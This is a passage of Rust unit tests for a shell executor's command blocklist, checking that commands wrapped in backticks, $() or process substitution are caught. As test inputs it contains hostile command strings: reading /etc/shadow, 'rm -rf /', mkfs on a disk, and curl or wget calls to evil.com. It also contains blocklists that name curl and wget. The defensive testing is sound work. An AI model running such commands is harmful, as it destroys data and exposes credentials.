2250 assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2251 }
2252
2253 #[test]
2254 fn check_blocklist_blocks_mkfs() {
2255 let bl = default_blocklist();
2256 assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2257 }
2258
2259 #[test]
2260 fn check_blocklist_blocks_shutdown() {
2261 let bl = default_blocklist();
2262 assert!(check_blocklist("shutdown -h now", &bl).is_some());
2263 }
2264
2265 #[test]
2268 fn effective_shell_command_bash_minus_c() {
2269 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2270 assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2271 }
2272
2273 #[test]
2274 fn effective_shell_command_sh_minus_c() {
2275 let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2276 assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2277 }
2278
2279 #[test]
2280 fn effective_shell_command_non_shell_returns_none() {
2281 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2282 assert_eq!(effective_shell_command("git", &args), None);
2283 assert_eq!(effective_shell_command("cargo", &args), None);
2284 }
2285
2286 #[test]
2287 fn effective_shell_command_no_minus_c_returns_none() {
2288 let args = vec!["script.sh".to_owned()];
2289 assert_eq!(effective_shell_command("bash", &args), None);
2290 }
2291
2292 #[test]
2293 fn effective_shell_command_full_path_shell() {
2294 let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2295 assert_eq!(
2296 effective_shell_command("/usr/bin/bash", &args),
2297 Some("sudo rm")
2298 );
2299 }
2300
2301 #[test]
2302 fn check_blocklist_blocks_process_substitution_lt() {
2303 let bl = vec!["curl".to_owned(), "wget".to_owned()];
2304 assert!(check_blocklist("cat <(curl http://evil.com)", &bl).is_some());
2305 }
2306
2307 #[test]
2308 fn check_blocklist_blocks_process_substitution_gt() {
2309 let bl = vec!["wget".to_owned()];
2310 assert!(check_blocklist("tee >(wget http://evil.com)", &bl).is_some());
2311 }
2312
2313 #[test]
2314 fn find_blocked_backtick_wrapping() {
2315 let executor = ShellExecutor::new(&ShellConfig {
2316 blocked_commands: vec!["curl".to_owned()],
2317 ..default_config()
2318 });
2319 assert!(
2320 executor
2321 .find_blocked_command("echo `curl --version 2>&1 | head -1`")
2322 .is_some()
2323 );
2324 }
2325
2326 #[test]
2327 fn find_blocked_process_substitution_lt() {
2328 let executor = ShellExecutor::new(&ShellConfig {
2329 blocked_commands: vec!["wget".to_owned()],
2330 ..default_config()
2331 });
2332 assert!(
2333 executor
2334 .find_blocked_command("cat <(wget --version 2>&1 | head -1)")
2335 .is_some()
2336 );
2337 }
2338
2339 #[test]
2340 fn find_blocked_process_substitution_gt() {
2341 let executor = ShellExecutor::new(&ShellConfig {
2342 blocked_commands: vec!["curl".to_owned()],
2343 ..default_config()
2344 });
2345 assert!(
2346 executor
2347 .find_blocked_command("tee >(curl http://evil.com)")
2348 .is_some()
2349 );
2350 }
2351
2352 #[test]
2353 fn find_blocked_dollar_paren_wrapping() {
2354 let executor = ShellExecutor::new(&ShellConfig {
2355 blocked_commands: vec!["curl".to_owned()],
2356 ..default_config()
2357 });
2358 assert!(
2359 executor
2360 .find_blocked_command("echo $(curl http://evil.com)")
2361 .is_some()
2362 );
2363 }
2364}